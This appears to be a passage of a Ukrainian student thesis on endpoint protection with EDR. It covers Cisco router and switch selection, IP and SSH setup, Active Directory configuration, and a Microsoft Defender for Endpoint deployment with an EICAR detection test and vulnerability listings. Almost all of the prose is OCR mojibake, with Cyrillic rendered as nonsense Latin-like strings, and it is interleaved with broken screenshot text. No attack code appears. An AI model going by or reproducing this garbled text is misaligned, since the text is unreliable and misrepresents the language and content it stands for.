HaBuaHHs KOpHCTYBaulB € Ba)XJIMBOK CKJIAJOBOK TMOJITHKU O€3MEeKu.
Perynsapue mpoBeneHHs TpeHIHTIB Ta 1H(OpMAIIHHUX ceciii  jomomarae
CHiBpOOITHUKAM JOTPUMYBATHCSl MpaBusl O€3MEKH Ta BUKOPUCTOBYBATH HaWKpaIill
NPaKTUKU MiJ Yac poOOTH 3 KIHUEBUMH MPUCTPOSIMHU. CTBOPEHHS MOJITUKU
1H(OpMyBaHHS MPO 3arpo3u Ta IHIUJEHTH MiJABUIINYE O013HAHICTH KOPUCTYBAYiB Ta
CIIPUSIE KPAIIOMY PO3YMIHHIO OTCHI[IMHUX PU3HKIB.

[HIMIEeHT-MEHEIKMEHT Ta pearyBaHHsl Ha MOPYILIEHHs O€3IeKU € KIIIOUOBUMU
TUTst 3a0e3MedeHHs CTIMKOCTI oprasi3aiiii 10 kibep3arpo3. Po3pobka miany aiii y pasi
IHIUJICHTY O€3MeKH BKJIIYAE KPOKH JUIsl 130JIAIi1 ypakeHOro TMPUCTPOIO Ta
3MEHIIEHHs wKoAu. [IpoBedeHHs po3ciigyBaHb IHIMIAEHTIB JIOMIOMAara€ BHUSBHUTU
NPUYUHUA TOPYIIEHb Ta BIPOBAJAUTH 3aXOU AJIA 3aM00ITaHHs MOBTOPEHHS MOAIOHUX

CUTYyalllil y MallOyTHbOMY.
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2.5 Bu0ip o0siagHaHHs 11 opradizanii po6oTu Mepexi

2.5.1 Bubip mapmpyruzaropa

[Tpu BuOOpi MapuipyTu3zaTopa AJIsi MEpexi HEOOXiTHO BpPaXOBYBaTH KiJIbKa

KJIFOYOBHUX (haKTOPIB, BKIIOYAIOUM MPOIYKTUBHICTh, MAcCIITaOOBaHICTh, O€3IEKy Ta

HIATPUMKY HEOOXITHUX MEPEKEBUX MPOTOKOMIB 1 GyHKIINA. ONHIE€IO 3 MOMYISIPHUX

cepiii mapuipytuzaropiB € Cisco 7200, sika MpOMOHYy€ BHCOKY HPOAYKTHBHICTDH 1

THYYKICTb JIJIs1 33/I0BOJICHHSI TOTPeO cepeHIX 1 BEMUKUX mianpuemcTs [19].

Mapmpytuzatopu cepii Cisco 7200 Bigomi CBO€I HaIIWHICTIO, BHUCOKOIO

HpOIIYKTI/IBHiCTIO Ta IIAPOKUMHU MOKINBOCTAMU HAJIAIITYBAHHA. HH cepiﬂ BKJIIO4ae€

JeK1IbKa MOJICNICH, KOJKHA 3 SIKMX MOJKe OyTH HaJlallITOBaHa Mij crienu(iuHl MoTpeoun

Mepexi. OCHOBHI OCOOJIMBOCTI Ta MEPEBaru Ii€i cepii BKIIOYAOTb.

1)

2)

3)

4)

5)

Bucoka npoayktuBHicTe. Mapipytuzatopu cepii Cisco 7200 3a0e3nedyroTh
BHUCOKY WIBUJKICTh OOpoOKH Tpadiky, II0 A03BOJSIE OOCITYrOBYBAaTH BEIHUKY
KUIBKICTh KOPUCTYBAUiB 1 1OJATKIB OJJHOYACHO.

MacmtaboBaHiCTh. 3aBASIKM MOYJIbHIN apXITEKTYP1, MAPIIPYTU3ATOPH IIi€1 cepii
Jerko MacmTaOyroTbes. JlojaBaHHS HOBHUX MOJYJIB 1 KapT PO3LIMPEHHS
JT03BOJISIE 30UIBIIUTH KUTBKICTh MOPTIB 1 MIATPUMYBAaHUX CEPBICIB.
PisnomanitHicTs iHTEepdeiiciB. Cisco 7200 miaTpUMy€e MIUPOKUN CIIEKTP
iHTepdeiicnux kapt, Bkmowaroun Ethernet, Fast Ethernet, Gigabit Ethernet,
ATM, ta POS (Packet over SONET). Lle no3Bosie agantyBaT MapuipyTu3aTop
710 PI3HUX THUIIIB MEPEXK 1 3aCTOCYBAHb.

[aTerpoBani 3acobu 6e3nexu. Mapuipytuzatopu cepii Cisco 7200 miaTpuMyIOTh
pizHOMaHITHI (DyHKIIIT Oe3neku, Bkitouatoun daepsonu, VPN, mudpysanus, ta
cuctemu 3anod6iranHs BropraHeHHsMm (IPS). Ile 3a0e3neuye 3axuct gaHuX 1
peCcypciB Mepexi BiJl HECAHKIIIOHOBAHOTO JJOCTYITY 1 KibepaTax.
VPN-niarpumka. Iliatpumka VPN (Virtual Private Network) mo3Bosse
CTBOPIOBATH 3aXHUIICHI TYHEI JiJis Oe3MevHOi nepeaadi JaHuX MiX BIIJaICHUMU

oicamu Ta MOOITBHUMH KOPUCTYBayaMH.
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6) BimmoBocriiikicte. Cisco 7200 3abe3mneuye BUCOKHIA PiBEHb HAIIHHOCTI 3aBISKU

miATpUMIN pe3epByBaHHS (redundancy) KpUTHUHHUX KOMIIOHEHTIB, TaKuX SK

JDKeperna )KUBJICHHS Ta MEpexeBl iHTepdeiicH.

7) be3nepebiitna pobOorta. Ilinrpumka ¢yHkmiid Oe3nepebiiinoi podotu (high

availability) 1 MOXJIMBICTh HaNalITyBaHHS KJIacTEPiB MiABUIIYIOTh CTIHKICTb

Mepexi 10 3001B.

8) MynbrunpoTtokonbHa miarpuMka. Cisco 7200 MiATPUMYE IIUPOKUN CIIEKTP

MEpEeKEeBUX MPOTOKOMIB, BKItouatoun [Pv4, IPv6, MPLS, ta inmi. Ile no3Bossie

BUKOPHCTOBYBATH MapIIPyTU3ATOP y PI3HOMAHITHUX MEPEKEBUX CEPEIOBUIIIAX.

9) QoS (Quality of Service). ITinTpumka QoS 3abe3neuye mpioputesalito Tpadiky,

0 € KPUTUYHUM JUJIs1 TOJATKIB, UyTJIMBUX JI0 3aTPUMOK, Takux sik VolP Ta

BiJICOKOH(EpeHIIi.

Bubip mapmpyrtuzaropa cepii Cisco 7200 3a0e3neunTs HajiiiHe Ta €pEeKTUBHE

(yHKILIOHYBaHHA MEpEXEeBO1 1HQPACTPYKTYpH, CIPUSAIOUMA CTAOUIBHOCTI Ta Oe3merl

O13HEC-TIPOIIECIB.

Pucynox 2.4 - Mapmpytuzatop Cisco 7200 Series VXR

2.5.2 Bubip komyTaropa

KomyTtaTtop Cisco WS-C2960-24LC-S nanexuts g0 cepii Cisco Catalyst 2960,

BIJIOMOT1 CBO€I0 HAMIMHICTIO Ta (PYHKIIOHATBHICTIO, IO POOUTH MOTO 1J1€aIbHUM
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BUOOpOM Il cepenHix 1 mManux migmpueMcTB. Lleit komyTaTtop 3abe3meuye 6a3oBi
dbyukii Layer 2 1 mae 24 moptu 10/100 Fast Ethernet nis miakaroueHHS KiHIIEBUX
npucTpoiB, a takoxk 2 moptu Gigabit Ethernet SFP nns BuxigHux 3'eqHanb, IO
3a0€3Meuy0Th THYUKICTh y HaJaIlITYBaHHI MepexkeBoi iHdpacTpykTypH [20].

OpHi€ro 3 KIIOYOBUX 0COOJIMBOCTEN KOMyTaTopa € MiATpUMKa TexHoJorii Power
over Ethernet (PoE) Ha 8 moprax, mio A03BOJisi€ >KUBUTU TPUCTPOi, Taki sik I[P-
teneoHn Ta 0e3APOTOBI TOYKU JOCTYIMy, 0€3 HEOOXITHOCTI JOJATKOBUX JKEpes
xuBjieHHs. [Ipomyckna 3maTHICTH komyTatopa a0 16.8 ['6it/c 1 mepemukanbHa
3paTHICTh 10 12.8 Mn/c rapanTyroTh eheKTHBHY 00pOOKYy MepexkeBoro Tpadiky 0e3
3aTPUMOK.

Komytarop Cisco WS-C2960-24LC-S Takox miATpUMYye€ BipTyaslbHi JOKaJIbHI
mepexi (VLAN), o mo3Bosisie po3AUIATA MeEpekeBUil Tpadik Ha pi3HI JIOT14HI
cermeHTH. lle migBuiye Oe3neky Ta eQEeKTHBHICTh YIpaBIiHHSA TpagikoM,
JT03BOJISIIOYM 130JIF0BATH PI3HI IPYNH KOPUCTYBauiB a0o npuctpois. [linrpumka no 255
VLAN 3a0e3neuye THYYKICTb y CTBOPEHHI PI3HMX MEpPEkKEBUX KOHQITypari, 1o
BIJIOBIJIAIOTh  CIIEU(PIYHUM  MOTpedaM  oOprasizaiii, CHPHUSIIOYM  ONTHUMI3aLli
BUKOPHCTAHHS MEPEKEBUX PECYPCIB 1 MABUIIICHHIO MPOIYKTUBHOCTI MEPEKI.

KomyTtaTtop mpairtoe Ha 6a3i omnepariiinoi cuctremu Cisco [0S, mo 3a6e3neuye
Oaratuii HaO1p PYHKIIN I HANAIITYBAHHS 1 yIpaBliHHS, a miATpuMKa QoS 103BoJIsI€
npiopuTe3yBaTh KpUTUYHUN Tpadik, 3a0€3Mmedyroun BUCOKY AKICTh Mepeaadl JaHuX.
3aBIsSKH CBOIM pO3IIMpPEHUM (PyHKI[IsiM Oe3neku Ta eHeproedextuBHocTi, Cisco WS-

C2960-24LC-S € namiiHuM 1 edEeKTUBHUM PIMICHHSIM i MOOYIOBU MEpPEKEBOI

1H(}pacTpyKTypH.

Pucynox 2.5 - Komytarop Cisco WS-C2960-24LC-S
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BucHOBKH 10 APYroro po3ainy

VY npyromy po3fiii 0yJio pO3TIsSIHYTO KIKOYOB1 aCMIEKTH MPOECKTYBaHHS MEpEexki
13 BukopuctanusiM EDR mnardopwm. [InanyBanHs 1 po3pobOka 3arainbHOI apXiTEeKTypU
JIOKaJIbHOI MEpEeXi BKJIIOYAJIM BHU3HAUYCHHS TOTpeO, aHami3 i1HQpacTpyKTypu Ta
po3poOky cxemu IP-ampecartii myist 3abe3neueHHs] yHIKIBHOCTI Ta €(eKTUBHOCTI
ajapecartii mpUCTpPOiB.

MapmipyTu3zaiiiss MK OPUCTPOsIMU Oyjia CHPOEKTOBaHa [Isl ONTUMAbHOI
MapuIpyTu3alii JaHuX Ta MiHIMI3alii 3aTpUMOK, M0 3a0e3leyye BHUCOKY
MPOIYKTUBHICTh Ta CTAOUIBHICTH Mepexi. [lomiTuka Oe3neku KiHIEBUX MPHUCTPOIB
Oyna po3po0OieHa 3 ypaxyBaHHIM HalKpaluX MIPakTUK Ta peKOMEHAAIIHN JIJIsl 3aXUCTY
B1JI Cy4acHHUX Kibep3arpos.

Takoxx Oys0 0OpaHO BIJMOBIAHE 00JIaIHAHHS JJIs OpraHizallii poOOTH Mepexi,
SKe BIANOBIAA€ BUMOraM IIOJ0 MPOITYCKHOI 31aTHOCTI, HAIIMHOCTI Ta MOYJIMBOCTEH
U1t MacitabyBanHs. Oco0uBa yBara OyJia mpuaiieHa BUOOPY MapLIpyTHU3aTOpiB Ta
KOMYyTaTopiB, SKi 3a0e3NeuyloTh HajAiliHe Ta IIBHJAKE 3'€IHaHHS MDK YycIiMa
eJIEMEHTaMH MEPEXKI.

Takum 4YuHOM, CTBOpPEHO HaailiHy, Oe3reuHy Ta e(EKTUBHY MEPEKEBY
iHppacTpykTypy 13 BuKopuctanusaMm EDR mnaTdopm a1 3axucty KiHIIEBUX BY3JIIB Bijl
kibep3arpos. Lle 3abe3neuye He JUIlle 3aXUCT, @ 1 cTaOUIbHY POOOTY Ta MOXKJIUBICTh

MaciTabyBaHHsS MEPEkKi B MaliOyTHLOMY.
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PO31JI 3 TIPAKTUYHA PEAJIIBAIIA 3AXUCTY KIHIHEBUX
BY3J1IB 3 BUKOPUCTAHHAM EDR IIVIAT®OPM

3.1 HanaroaxeHHst 00JIafHAHHS Mepexi

[Iporec HamaroKEHHS MEPEKEBOro 00J1aJHAHHS BKITIOYAE JICKiIbKa BAKITUBUX
eTarlB, K1 CJiJ] BUKOHYBATH IMOETAIHO JJis 3a0e3MedeHHs MPaBWIBLHOI POOOTH Ta
Oe3MeKu Mepexi.

Po3nouynemo 3 HanamrTyBaHb ajpecailiil Ta MapipyTusailii npuctpois (puc. 3.1-

3.2).

Pucynox 3.1-3.2 — HanamryBanus agpecarii Ta MaprpyTtu3zaiii Ha R-1

AHQJIOTIYH1 HaJalITyBaHHS Oyau 3poOJieHI Ha IHIIUX MapIIpyTHU3aTOpax
Mepexi (puc. 3.3).

Pucynok 3.3 — HanamryBanHus agpecainii Ha SW-1

Jlineyvxuii 11.0. Apk.
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A ws-1-1 [3anyweHo] - Oracle VM VirtualBox

Mpeotokon IutepHery sepcii 4 (TCP/IPvd) — enactueocti X

3aranoHi

MapameTpu NpoToxkony IP MOXYTh NPUSHAYETUCR SBETOMATUHHO, AKLLO
Balua MEPEXA NiATPMMYE TaKY MOXKMBICTL. B iHwoMy pasi cnig
OTPUMaTK NapaMeTpu IP B aAMIHICTPaTOPa MEPEXI,

O OTpumaTh IP-anpecy asToMaTHiHO

@ BukopucTosysaTH Taky IP-agpecy:

IP-anpeca: [202.9 .1.5 |

Macxka nigmepeski: [ 255 . 255 . 255 . 128 |

OCHOBHWI LWMKD3: |202. g .1 .1 l
OTpumaTi agpecy DNS-cepsepa asTOMaTH{HO

(®) BukopucToByBaTH Taki aapec DNS-cepsepis:

OcrosHuin DNS-cepeep: |202. 9 .1. 3 |

AnsTepHaTusHWi DNS-cepeep: | . . . |

|:I Mia HEC'BM)(OQY NiATBEPAXYBATH JlonaTkoso. ..
HaCTPOMKK

o] [ caomem

Pucynok 3.4 — HanamryBanus agpecarii Ha WS-1-1

3HOBY X TaKH, AaHAJIOT14HI HAJAIITyBaHHA 3p00JICHI Ha 1HIIMX POOOYNX CTAHIIIS

mepexi (puc. 3.5-3.6).

@ RESERV-AD-SRV [3anyweHo] - Oracle VM VirtualBox

i MAIN-AD-SRV [3anyuieno] - Oracle VM VirtualBox
MawuHa MNepernag BeepewnAa MNpucrpoi  Joeigka in  MawwHa

MNepernan Beegenna [Mpuctpoi  [oeigka
Internet Protocol Version CF'_:’IPVA) Properties x

Internet Protocol Version 4 (TCP/IPv4) Properties X

General General

You can get IP settings assigned automatically if your network supports ‘You can get IP settings assigned automatically if your network supports
this capability. Otherwise, you need to ask your network administrator this capability. Otherwise, you need to ask your network administrator
for the appropriate IP settings. far the appropriate IP ssttings.

(Z) Obtain an IP address automatically

(C) Obtain an IP address automatically
(®) Use the following IP address:

(®) Use the following IP address:

IP address: 202 IP address: 20

Subnet mask: 255 , 255 , 255, 128 Subnet mask: 255 , 255 , 255 , 128

Default gateway: 2.9 .1 .1

w

[
[=]
o
-
-

Default gateway: 2.9 .1 .1

Obtain DNS server address automatically Obtain DNS server address automatically

(®) Use the following DNS server addresses: (@) Use the following DNS server addresses:

Preferred DNS server: 127.0 .0 .1 Preferred DNS server: 20

=]
s}
-
L
T

Alternate DNS server:

|

Alternate DNS server: 127.0 .0 .1

|:| Validate settings upon exit Advanced. .. Dvalidate settings upon exit Advanced. ..

Cancel Cancel

Pucynox 3.5-3.6 — HanmamryBanHs aapecartiii Ha cepBepax

Jlineyvruii I1.0.
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Hanamryemo SSH (Secure Shell) ma mapmpytmzaTopax Ta KoMyTaTopax
Mepexi (puc. 3.7-3.8), skuil 103BOJIsIE KOPUCTYBaYaM IiAKIIOYATHCS JI0 BIJITAIEHUX
CHUCTeM 1 KepyBaTH HHMMH dYepe3 KomaHaHui psanok. Kpim Toro, SSH ctBOpIoe
3amudpoBaHi TYHEIN IS NepeJaBaHHs JaHUX uepe3 HeOe3neuHi Mepexi. Bei maHi,
nepenani yepe3d SSH, 3amm@poByIOThCS, IO 3aXUIIA€ iX BiJ MEPEXOIUICHHS Ta

HECaHKI[IOHOBAHOI'O JJOCTYIIY.

Pucynok 3.8 — HanamryBanus SSH Ha komyTaTopi

Jlineyvxuii 11.0. Apk.
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3.2 HanamryBanus Active Directory Ha 6a3i Windows Server 2019

Hanamryemo Active Directory aiist 1ieHTpai30BaHOTO KepyBaHHS OOJIKOBUMH

3arrcaMy KOPUCTYBaviB Ta KOMIT IOTEPAMU B OTHOMY MICIII.

CTBOpHMO TpH OpTraHi3alliiiHi OJWHUII, SKi BIAMOBIIAIOTH CETMEHTaAM MEpPExKi

(LAN A, LAN B, LAN C) (puc. 3.9). KoxHa 3 1iux oprasizaiiiHux OJUHUIb MICTUTh

TaKOoX J104ipHi, Hanpukiaa, Admin-A Tta Users-A, sxi npu3HaueH1 i TPyIyBaHHS

3BHUYAHUX KOPUCTYBaYiB OKPEMO BiJ] aIMIHICTPATOPIB.

l @ MAIN-AD-5RV [3anyweHo] - Oracle VM VirtualBox

®aiin  MawwHa Mepernsg BeefeHHs Mpuctpoi  JoBigka

§ Active Directory Users and Computers
File Action View Help

&= | 7@ B XEz HR P RETa%

] Active Directory Users and Com|| pame Type

Description
| Saved Queries

v 3 lipetskyinet
| Builtin
Computers

2] Admins-A Organizational...

2] Users-A Organizational...

2| Demain Controllers
ForeignSecurityPrincipaly
Managed Service Accour
Users
w (2] LAN-A

2| Admins-A

o3| Users-A
w (2] LAN-B

2| Admins-B

a| Users-B
w [2] LAN-C

3| Admins-C

o3| Users-C

PucyHnok 3.9 - Pe3ynbTaT CTBOPEHHS OpraHi3alliiHuX OJUHUIb

CtBOpMMO BIAMOBIAHMX KOPUCTYBadiB Yy KOXHIA JOYIpHI OpraHi3aiiiHii

omunauti(puc. 3.10-3.11).

Jlineyvxuii 11.0. Apk.
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@ MAIN-AD-5RV [3anyweHo] - Oracle VM VirtualBox

dain  MawwHa [Mepernag Beegewna [Mpucrpoi  [oeigka

j -
F
€ .
- ; Createin:  lipetskyinet/LAN-A/Admins-A —
=] 4L ion
M First name: |IJnda | Initials: I:l
Last name: |Martinez |
Full name: ||Jnda Martinez |

User logon name:

|admin-a-lmr | @lipetshyi.net i

User logon name (pre-Windows 2000):
|LIPET5KYI\ | |admin-a-|mr

< Back Next = Cancel

Pucynok 3.10 — IIpuknag CTBOpEHHSI KOpUCTyBava

@aiin MawwuHa Mepernsg Beepewns Mpuctpoi  [doeigka

] Active Directory Users and Computers

File Action View Help
e rH B B HE/PaEaTE%

| Active Directory Users and Computers [RE|| Name Type Description

.: ;aved Queries E) Rober Taylor User
M II_EEtSk,}”:nEt 2, Patricia Jones User
- Ezlrl'::uters &William]ackson User

- %Michael Brown User

2| Domain Controllers

_| ForeignSecurityPrincipals
| Managed Service Accounts
| Users
w (o] LAN-A
2| Admins-A
3| Users-A

v (5] LAN-B
i | Admins-B

o3| Users-B

w (3] LAM-C
2| Admins-C
o | Users-C

Pucynok 3.11 — Pe3ynbrar CTBOpEeHHS! KOPUCTYBAUiB

HacTynHuM KpoKOM € JJ0JJaBaHHS KOMIT FOTepiB 10 JoMeHy (puc. 3.12-3.13).

Jlineyvruii I1.0.

Apk.
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| oA ws-1-1 [3anyweHo] - Oracle WM VirtualBox

MoxHa 3MiHUTY IM'R Ta YNEHCTBO LbOro KoM 1oTepa. 3MiHu
MOXYTh BINAMHYTA Ha AOCTYN A0 MEDEXEBUK DECYPCIE.

HE BMKOPWCTaHHA
IM'r komnloTepa: e
WS-141
JTbCA ANA HO
[NosHe iM'A koMM oTepa: |y
WS-1-1 L
Jonamoso... ) . pueHHA go Ik
tomn'ioTep” abo
YyacrHux ) _ .
® nomery: 3miHEHHA iMeHi komn'toTepa abo gomeny X
|I|petsky1' net
(O pobouoi rpynu: o Bac Bitae gomeH lipetskyi.net.

NORKGROUF

ok ]/ ol n

T T

Pucynox 3.12 — JlonaBanss po604YuX CTaHIIIH 10 TOMEHY

@ MAIN-AD-5RV [2anyweno] - Oracle VM VirtualBox

Maiin MawwHa [Mepernsg Beepennwa Npuctpoi  JoBigka

= TS

File Action View Help

e 0 /8 XEBE BE 3 aETa%

: Active Directory Users and Com|| MName Type Description
— saved Queries 1l ws-1-1 Computer
v &6 IiF'EtSk;'rif”Et 1l ws-2-1 Computer
- Builtin 1l Ws-3-1 Computer
| Computers

2 | Domain Controllers

| ForeignSecurityPrincipalt
LAN-A

LAN-B

| LAN-C

| Managed Service Accour

| Users

Pucynok 3.13 — Pe3ynbTaT qoaBaHHs poOOUYMX CTaHIIN 10 JOMEHY
3.3 HanamryBanus Microsoft Defender for Endpoint

3aBaHTa)XMMO Ta BUKOHAEMO CIICIIAIbHUN CKPUIT, SIKU 1071a€ pOOOUy CTaHIIIO

a0o ceprep 10 Microsoft EDR (puc. 3.14-3.16).

Jlineyvxuii 11.0. Apk.
Tonosns O.C. KKIKBKPB - 125 - 11 - H3 52
3mn. | Apk. Ne 0okym. Hionuc | Hdama




ﬁ WS-1-1 [3anyweno] - Oracle VM VirtualBox — (m]

nue or

for Endpo

inning

rvice is alrea runnin

Pucynok 3.14 - JlongaBanns po6oyoi craniii 7o Microsoft EDR

-

®aitn  MawwuHa Mepernsn  BeemewHa [puctpoi  flosigka

MAIN-AD-SRV [3anyweto] - Oracle VM VirtualBox = a X

or Endpoint

Microsaft Defender

Device Inventory

Computers & Mobile  Network de

High risk High exposure Not onboarded

oanui
Demain Device AAD id Exposure level 5 Windows version  Criticality level . Onboarding status Last device update Tags
o Onboarded
High rdows. 10 ' o Onboarded

lipetskyinet No No dats svailable
lipe Mo known risks A High dows: 10 1 chin Ombosrded

lipetakyinet Medium High Onib

Pucynok 3.16 - Pe3ynbrar qo/1aBaHHs BCIX KIHIEBUX MTPUCTPOIB MEPExKi
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IIpoBenemMo HamamTyBaHHS:

- MiToK, K1 TTOTIM JJOIOMOXKYTh Y BIPOBAPKCHH1 IIPaBHUJI.

- HinnicTs mpucTporo: BusHaueHHs HIHHOCTI IPUCTPOIO TSl OpraHi3allii K

BHUCOKOi, HOPMaJbHOT YM HU3BKOI JOIOMAara€ pOo3pi3HATH MNPIOPUTETH

akTuBiB. [IpucTpiii BUCOKOI BApTOCTI MaTUME OUTBIIUI BIUIMB Ha OLIIHKY

BIUIMBY BAIllOi OpraHizariii.

- PiBeHb KpUTUYHOCTI Ta iHIII TTAPAMETPH.

i Microsoft Defender

Device Inventory

Pucynok 3.17 - Pe3ynbTaT HanalmTyBaHHs KIHIEBUX IPUCTPOIB

3.4 BusiBJIeHHAl Ta aHAJII3 peaJibHHUX 3arpo3 3 Bukopucranasam EDR

Ilepm1 3a Bce o3Hailomumocs 3 Microsoft EDR, mnepernsHyBIIM HasBHI

MOJIMBOCTI. [IpoaHamizyeMo BCl acmekTH O€3MEeKH Ta MOXKIIMBI BPa3IMBOCTI Ha

pobouiii cranmii WS-1-1 (puc. 3.18).

i Microsoft Defender

ws-1-1

ws-1-1
wmn Medium sm Crit

Overview Incidents and alerts  Timeline
Device details

Domain
lipetskyi.net

Logged on users (Last 30 days)

2 logged on users

Most logons

Jlineyvruii I1.0.
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Pucynox 3.18 - Ilepernsn neraneir po6odoi cTaHIii

3 pucynky 3.18 Gaunmo Ha3By poOouoi cranmii WS-1-1, ska € yHiKaTbHUM
171IeHTH(PIKAaTOPOM MPUCTPOIO B MEPEKI, CTATYC MPUCTPOIO «active» - 11e 03HaYae, 110
HOTO aKTUBHICTH BIICTEKYEThCS. Takok BKa3aHi MEBHI JIaH1 TIPO OTEpaIliifHy CHCTEMY
pobouoi cTaHIlii, Ha3BY JOMEHY, J0 SIKOTO HaJeXuTh NMpUCTpii, 1 [P-ampecy By3na B
JIOKaJIbHIN Mepexi.

CepenHiii piBeHb PU3UKY BKa3y€ Ha HasIBHICTh MEBHUX 3arpo3, Kl MOTpeOyIOTh
yBaru. OKpiM TOTro, 3a3HaUYE€HMUI BHUCOKHH pIBEHb EKCIO3WIIi, a 1€ O3Haydae, M0
OpuUCTpiii Mae 6araTo Bpa3iIMBOCTEH, SAKI MOXYTb OyTH KPUTUYHUMH IS OC3IMEKU.
3okpema, poboua crailis Mae 1551 Bpa3nuBICTh, PO3MOALICHUX 3a CEPUO3HICTIO: 15
KpuTU4yHUX, 111 Bucokux, 412 cepennix i 13 HU3bKUX.

[Hdopmaliis mpo KOPUCTYyBauiB, Kl BXOAWIA B cHCTeMy 3a ocTaHHl 30 [HIB,

BKa3ye€ Ha IBOX daBTOPHU30BAHUX KOpI/ICTYBaLIiBI

- brilliantmind0510 (miciieBuii aqMiHICTPATOp), IKUM YBIMIIIOB HAHOUIBIILY

KUTBKICTB pa3iB 1 TAKOX € OCTaHHIM, XTO YBIHIIIOB B CUCTEMY.

- student (micueBuii aamiHICTpaTOp), IKHK YBIHIIIOB HAMEHIIY KiJIbKICTh

pasis.

ws-1-1 View in map Devi
mmn Medium mm C Medium LUl Windows-Workstation

Overview Incidents and alerts  Timeline  Security recommendations  Inventories  Discovered vulnerabilities ~ Missing KBs  Security policies ~ Advanced features

Excnioprysari carch for name o ID Hanauysarm crosnui

Status: New, Inprogress X Alert severity: High, Medium, Low X Nloaat dinsTp CiuviyTn Bee

Incident name Incident Id
Multiple threat families detected on multiple end... 1
‘AutoKMS' hacktool was detected and was active
Suspicious process launched using cmd.exe Windaws-Workstation
Suspicious process launched using cmd.exe Windows-Workstation
A suspicious file was observed Wind
Suspicious process launched using cmd.exe rkstation

Suspicious process launched using cmd.exe Windaws-Workstation

Pucynok 3.19 - Bkiazxka Incidents and alerts

Ha Bxianmi Incidents and alerts (puc. 3.19) BiacTeKy0ThCs BC1 IHIMACHTH, SK1

CTalnucs Ha i poOodYid craHIii, IO JomoMarae aaMiHicTparopaM Oe3MneKu

Jlineyvxuii 11.0. Apk.
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MOHITOPHUTH Ta pearyBaTu Ha 3arpo3u. Hanpuknaz, Oyo 3amyIieHo iHCTpyMEHT 37amMy

«AutoKMS» Ta nomiueHo migo3puinii daii.

ws-1-1

ws-1-1
mms Medium mm

Overview  Incidents and alerts ~ Timeline  Security recommendations  Inventories  Discovered vulnerabilities ~ Missing KBs  Security policies ~ Advanced features

Excnoprysam Hanawrryeatm croenui PinuTpyBa™

Event time Additional information User
3 uepa 2024 p. 19:06:19.408
3 ueps 2024 p. 19:06:09.204
3 ueps 2024 p. 19:06:02.581

3 ueps 2024 p. 19:06:01.117

Pucynoxk 3.20 - Bxiaaka Timeline

Bxnagka Timeline (puc. 3.10), Ha ki Bka3zaHi Bci MOJii, 0 BiIOYBatOThCS HA
pobouiit cranmii. Hampukman, MoXeMO BUKOPUCTATH CTaHAApPTHUM dailm, SKuii
BUKOPHUCTOBYETHCS I TiepeBipku un mpaitoe antusipyc - EICAR-Test-File 1 motim

HEPETJITHYTH TOJIF0 OB’ SI3aHy 3 MM ICEB0 BipycoM (puc. 3.21-3.22).

@ WS-1-1 [3anyweno] - Oracle VM VirtualBox — O
<3| @ Download Anti Malware X | + - b4
&« O o £ | httpsy/www.eicar.org/download-anti-malware-testf ¥ = I =

. 408104008408 CONTACT

elcar =

Dow
NLOA
D
W 3axwcr Bip Bipycie i 3arpo3
Com-file 1 Text-file

BuasneHo 3arposu

68 Byles 68 Bytes

15:53
A ) NG ooy

Pucynox 3.21 - 3aBantaxenns ¢aiiny EICAR

Jlineyvruii I1.0. Apk.
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ws-1-1

mmm Medium mm M n @ Active 41

Overview  Incidents and alerts ~ Timeline Inventories

Security recommendations

Feb 2024

pryBati

Event time

3 veps 2024 p. 15:53:29.390
3 ueps 2024 p. 15:53:27.508 ‘EICAR Test File' malware was prevented
3 uepa 2024 p. 15:53:27.508 £

3 yeps 2024 p. 15:53:27.508 Defender detects

Mar 2024

View in map

Discovered vulnerabilities ~ Missing KBs  Security policies

Apr 2024

Set criticality

Advanced features

Hanawrysatu ©

Additional information

Malware

browser_broker.exe created an obfuscated file eicarcom2.zip

and removed ‘'Virus:DOS/EICAR Test File' in file ‘eicarc...

Pucynok 3.22 - Ilepernsn Bkiagku Timeline

ws-1-1

ums Medium sm Criticality: Medium

el il Windows-Workstation

Overview Incidents and alerts  Timeline  Security recommendations  Inventories

Export
Dinetpu:  Status: Active

Security recommendation

Update Microsoft Defender For Endpoint

Update Microsoft Windows 10 (OS and built-in applications)

Update Oracle Vm Virtualbox

Disable ‘Continue running background apps when Google Chrome is closed"

Turn on PUA protection in block mode

Set controlled folder access to enabled or audit mode

View in map

Discovered vulnerabilities ~ Missing KBs  Security policies

Enemenrie: 54

Weaknesses Related component Threats
1 Microsoft Defender For Endpoint

Microsoft Windows 10

Oradle Vim Virtualbox

Application (Google Chrome)

Security controls (Antivirus)

Security controls (Exploit Guard)

Pucynok 3.23 - Bxnanka Security recommendations

Dinerpysaru

WS-1-T\student

Advanced features

Remediation type

Software update

Software update

Software update

Configuration change

Configuration change

Configuration change

Device value

Jun 2024

Hanaurrysatu crognui

Remediation a

Ha miit Brnaami (puc. 3.23) BkazaHi Oe3MeKOBI HAJIAITYBaHHS, HAMPUKIA],

pexoMeHayetrbest Set 'Minimum password length' to 'l4 or more characters'

(YcranoBiTh « MiHIMaJIbHA TOBXKWHA TApos» Ha «14 abo OiIbIe CUMBOJIIBY ).
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ws-1-1

ws-1-1 Viewinmap || Device value
man Medium mm Criticality: Medium @ Active [SIEERERI e

Overview  Incidents and alerts  Timeline  Security recommendations  Inventories  Discovered vulnerabilities ~ Missing KBs ~ Security policies  Advanced features

Export Enemenie: 13 UIyK insrpysary Hanaurrysamv crosnui

Vulnerable components

Name Installed versio... Weaknesses Threats Product Code (CPE) Tags

Windows 10 C 10.0.183 379 7 nict A EOS version

Vm Virtualbox

Internet Explorer

Edge

Defender For Endpoint

Defender Security Intellige... Microsof

Windows Defender

Pucynok 3.24 - Bkianka Inventories

ws-1-1

ws-1-1 View in map Device value
mms Medium mm  Criticality: Medium @ Active [UTEEERUEEEIER)

Overview Incidents and alerts  Timeline  Security recommendations  Inventories  Discovered vulnerabilities ~ Missing KBs ~ Security policies ~ Advanced features

Export Enemer 55 — DinsTpysam Hanaumysari crosnui

Name Severity | Affected Software Published on First detected Updated on Threats Tags

CVE-2021-26443 Critical 9 Micro: 10 (+ 5 more) 9 Amct 202° 02:00 2 ueps 2024 p, 14:03

CVE-2022-21849 ritical 98 Micros ore) ciu 12: 14:03

CVE-2021-31962

CVE-2019-1226

CVE-2022-29130 Critical 98 M 10 (+ more) 07 03:00 2 ueps 2024 p, 14:03

CVE-2021-24074 Critical

CVE-2022-24497 Critical

Pucynok 3.25 - Bxnanka Discovered vulnerabilities

Bxrnanka, Ha sikiil mokaszaHi BCl BUSIBJIEHI BPa3IMBOCTI poO04YOi CTaHINi (puc.
